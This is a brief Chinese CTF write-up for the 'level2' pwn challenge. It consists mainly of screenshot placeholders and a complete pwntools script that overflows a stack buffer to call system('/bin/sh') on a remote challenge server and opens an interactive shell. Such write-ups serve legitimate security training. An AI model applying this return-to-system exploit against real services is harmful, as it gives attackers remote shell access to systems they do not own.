PWN WP

level2

2019-08-05  本文已影响0人  常向阳_
image.png

0x00 filechecksec(看不到,看不到,看不到)

image.png

0x01 ida查看

image.png

0x02 完整exp

from pwn import *

local=0
pc='./level2'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 58516]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    rl()
    plt_system_addr = 0x08048320
    bin_sh_addr = 0x0804a024
    payload = 'a'*0x88
    payload += 'bbbb'
    payload += p32(plt_system_addr)
    payload += 'fake'
    payload += p32(bin_sh_addr)
    sl(payload)
    p.interactive()

0x03 结果

image.png
上一篇下一篇

猜你喜欢

热点阅读